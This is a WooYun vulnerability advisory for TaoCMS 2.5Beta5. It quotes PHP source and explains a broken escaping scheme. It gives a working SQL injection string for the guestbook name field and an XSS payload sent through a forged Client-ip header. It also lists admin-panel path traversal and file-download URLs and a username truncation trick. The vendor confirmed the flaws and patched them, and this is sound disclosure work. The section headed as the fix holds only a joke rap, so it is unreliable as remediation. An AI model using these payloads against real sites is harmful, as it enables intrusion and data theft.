当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014007

漏洞标题:TaoCms SQL 注入

相关厂商:taocms开源

漏洞作者: yy520

提交时间:2012-10-28 23:12

修复时间:2012-12-12 23:13

公开时间:2012-12-12 23:13

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-28: 细节已通知厂商并且等待厂商处理中
2012-10-29: 厂商已经确认,细节仅向厂商公开
2012-11-08: 细节向核心白帽子及相关领域专家公开
2012-11-18: 细节向普通白帽子公开
2012-11-28: 细节向实习白帽子公开
2012-12-12: 细节向公众公开

简要描述:

TaoCms SQL 注入
嗯,来刷点rank

详细说明:

版本:taoCMS2.5Beta5
在中include/common.php中:

30  if(!function_exists('get_magic_quotes_gpc') || get_magic_quotes_gpc())
31 {
32 $_GET = Base::magic2word( $_GET );
33 $_POST = Base::magic2word( $_POST );
34 $_COOKIE = Base::magic2word( $_COOKIE );
35 }


magic2word在include/Model/Base.php中定义:

230    static function magic2word($text){
231 if (is_array($text)) {
232 foreach($text as $k=>$v){
233 $text[$k]=self::magic2word($v);
234 }
235 }else{
236 $text=stripslashes($text);
237 }
238 return $text;
239 }


总体就是一开始就去除魔术引号
然后在:

123    static function safeword($text,$level=8){
124 if(is_array($text))
125 {
126 foreach( $text as $key=>$value){
127 $safeword[$key]=self::safeword($value);
128 }
129 }
130 else
131 {
132 switch ($level)
133 {
134 case 0:
135 if (get_magic_quotes_gpc()) {// 检查magic_quotes_gpc是否打开,如果没有打开,用addslashes进行转义
136 $safeword = stripcslashes($text);
137 }else{
138 $safeword=$text;
139 }
140 break;
141 case 1:
142 $safeword=intval($text);
143 break;
144 case 3:
145 $safeword=strip_tags($text);
146 break;
147 case 5:
148 $safeword=nl2br(htmlspecialchars($text));
149 break;
150 case 6:
151 $safeword=str_replace("'","",addslashes($text));
152 $safeword=str_replace("select","",$safeword);
153 $safeword=str_replace("union","",$safeword);
154 $safeword=str_replace("=","",$safeword);
155 break;
156 default:
157 if(ucfirst(DB)=='Sqlite'){
158 $safeword=str_replace("'","''",$text);
159 }
160 else{
161 $safeword=Base::_addslashs($text);
162 }
163 break;
164
165 }
166 }
167 return $safeword;
168 }
169 static function _addslashs($text){
170 if (!get_magic_quotes_gpc()) {// 检查magic_quotes_gpc是否打开,如果没有打开,用addslashes进行转义
171 $text = addslashes($text);
172 }
173 return $text;
174
175 }


神逻辑,一开始就去掉魔术引号,后面为啥还在_addslashs判断它是否使用了gpc,直接去掉if得了....
当gpc开启,数据库为mysql,利用safeword来过滤注入语句就形同虚设了,所以差不多就是只要找到任意一个字符型的参数,就可以注入了,例如在留言处:姓名输入a','b',(select @@version),'c','123'),('26','c 同理内容处也可以注入...
结果如图:


另外一枚注入:
在include/Model/Base.php中:

34    static function realip(){
35 if(getenv('HTTP_CLIENT_IP')){
36 $ip=getenv('HTTP_CLIENT_IP');
37 }elseif(getenv('HTTP_X_FORWARDED_FOR')){
38 $ip=getenv('HTTP_X_FORWARDED_FOR');
39 }elseif(getenv('REMOTE_ADDR')){
40 $ip=getenv('REMOTE_ADDR');
41 }else{
42 $ip=$HTTP_SERVER_VARS['REMOTE_ADDR'];
43 }
44 return $ip;
45 }


有两个地方调用了realip,挑简单的讲
在wap/index.php中调用了realip:

25  if($mobile){
26 if($name==''||$comment=='')die('Please input your name and comment correctly!<a href="?id='.$article_id.'">Back</a>');
27 $tmp['article_id']=$article_id;
28 $tmp['name']=Base::safeword($name,4);
29 $tmp['emails']='[email protected]';
30 $tmp['content']=Base::safeword($comment,5);
31 $tmp['ips']=Base::realip();
32 $tmp['times']=Base::getnowtime();
33 $data['status']=1;
34 $addstatus=$dbit->add_one(TB."comment",$tmp);
35 $dbit->updatelist(TB."cms","cmtcount=cmtcount+1",$tmp['article_id']);
36 die('^_^Submit Succefully!<a href="?id='.$article_id.'">GO ON!</a>');
37


最后$tmp['ips']完全没过滤的进入了sql语句
这个$tmp['ips']还可xss到后台哦

POST /taocms/wap/?id=26 HTTP/1.1
Host: 192.168.100.100
Client-ip: <script>alert(1)</script>



后台漏洞一堆:
目录遍历:admin/admin.php?action=file&ctrl=lists&path=../.../
任意文件下载:admin/admin.php?action=file&ctrl=download&path=../../../../test.txt
后台get shell就是直接编辑文件。。。。
吐槽一下添加人员那里:
能添加相同名字的人员,比如再添加一个admin,然后在登陆处只检索了一行,就直接导致另外一个同名人员无法登陆.....什么逻辑啊!!!

44    public function checkUser(){
45 $this->db=new Dbclass(SYS_ROOT.DB_NAME);
46 $user=$this->db->get_one(TB."admin","name='".Base::safeword($_POST['name'],6)."'");
47 if( strlen($user['passwd'])==30){
48 $autoOk=substr(md5($_POST['pwd']),0,30)==$user['passwd'];
49 }else{
50 $autoOk=$_POST['pwd']==$user['passwd'];
51 }


还有能否给添加的用户名设置maxlen,我用了admin(空格数>30)hello,就被mysql截断了。。。要是能前台注册用户,你就悲剧了。
..真不爽,最好玩的__autoload的被kobin97大牛先找到了

漏洞证明:

如上所示....

修复方案:

药药!切克闹!煎饼果子来一套!一个鸡蛋一块钱!喜欢脆的多放面!辣椒腐乳小葱花!铁板铁铲小木刷!药药!切克闹!放点面酱些许甜!趁热吃了似神仙!艾瑞巴蒂!黑喂够!跟我一起来一套!动词大慈动词!我说煎饼你说要!“煎饼”“要”“煎饼”“要”切克闹切克闹!金黄喷香好味道!

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2012-10-29 11:50

厂商回复:

十分感谢您的检测,当前注入相关漏洞已经修复,后台db字符截断、文件读写逻辑问题将会继续完善

最新状态:

2012-10-29:注入&xss已经修复,其他逻辑问题将在下个版本完善

2012-10-29:请用户下载最新的更新补丁